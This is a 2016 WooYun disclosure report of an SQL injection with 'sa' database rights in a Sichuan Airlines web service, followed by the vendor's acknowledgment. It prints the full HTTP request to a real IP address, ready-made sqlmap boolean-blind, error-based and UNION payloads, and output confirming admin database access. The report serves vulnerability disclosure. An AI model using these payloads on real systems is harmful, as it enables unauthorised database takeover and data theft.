当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0193959

漏洞标题:四川航空某处存在SQL注入(sa权限)

相关厂商:四川航空股份有限公司

漏洞作者: 路人甲

提交时间:2016-04-08 17:25

修复时间:2016-05-26 11:10

公开时间:2016-05-26 11:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-08: 细节已通知厂商并且等待厂商处理中
2016-04-11: 厂商已经确认,细节仅向厂商公开
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开

简要描述:

四川航空某处存在SQL注入(sa权限)

详细说明:

platCataID参数存在注入

POST /website/report/getPlatFormItemList HTTP/1.1
Host: 182.151.210.184:8888
Accept: application/json, text/javascript, */*; q=0.01
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://182.151.210.184:8888
Content-Length: 20
Connection: keep-alive
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13A342
Referer: http://182.151.210.184:8888/website/report/add
Cookie: JSESSIONID=93DA0CDFB33954BA9D3B70C2C8F45522
platCataID=1

漏洞证明:

Parameter: platCataID (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: platCataID=1 AND 9471=9471
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: platCataID=1 AND 7885=CONVERT(INT,(SELECT CHAR(113)+CHAR(122)+CHAR(
118)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (7885=7885) THEN CHAR(49) ELSE CHAR(
48) END))+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(106)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: platCataID=1 UNION ALL SELECT CHAR(113)+CHAR(122)+CHAR(118)+CHAR(11
8)+CHAR(113)+CHAR(100)+CHAR(67)+CHAR(121)+CHAR(113)+CHAR(117)+CHAR(78)+CHAR(100)
+CHAR(105)+CHAR(65)+CHAR(74)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(106)+CHAR(113),N
ULL,NULL,NULL,NULL--
---
[17:14:52] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[17:14:52] [INFO] fetching current user
current user: 'sa'
[17:14:52] [INFO] fetched data logged to text files under 'C:\Users\********\.sqlmap\output\182.151.210.184'
[*] shutting down at 17:14:52

修复方案:

rt

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2016-04-11 11:07

厂商回复:

感谢漏洞作者路人甲提供的漏洞信息,我们将尽快处理。

最新状态:

暂无


漏洞评价:

评价